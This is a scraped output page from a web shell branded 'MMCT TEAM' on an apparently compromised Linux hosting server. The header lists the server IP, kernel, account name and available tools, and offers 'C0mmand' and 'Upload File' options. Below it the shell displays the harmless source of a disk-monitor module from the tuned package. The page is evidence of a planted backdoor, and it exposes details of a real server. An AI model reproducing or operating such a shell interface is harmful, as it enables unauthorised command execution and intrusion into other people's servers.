MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 216.73.216.126
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/lib/python2.7/site-packages/tuned/monitors/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //usr/lib/python2.7/site-packages/tuned/monitors/monitor_disk.py
import tuned.monitors
import os

class DiskMonitor(tuned.monitors.Monitor):

	_supported_vendors = ["ATA", "SCSI"]

	@classmethod
	def _init_available_devices(cls):
		block_devices = os.listdir("/sys/block")
		available = set(filter(cls._is_device_supported, block_devices))
		cls._available_devices = available

		for d in available:
			cls._load[d] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

	@classmethod
	def _is_device_supported(cls, device):
		vendor_file = "/sys/block/%s/device/vendor" % device
		try:
			vendor = open(vendor_file).read().strip()
		except IOError:
			return False

		return vendor in cls._supported_vendors

	@classmethod
	def update(cls):
		for device in cls._updating_devices:
			cls._update_disk(device)

	@classmethod
	def _update_disk(cls, dev):
		with open("/sys/block/" + dev + "/stat") as statfile:
			cls._load[dev] = list(map(int, statfile.read().split()))

MMCT - 2023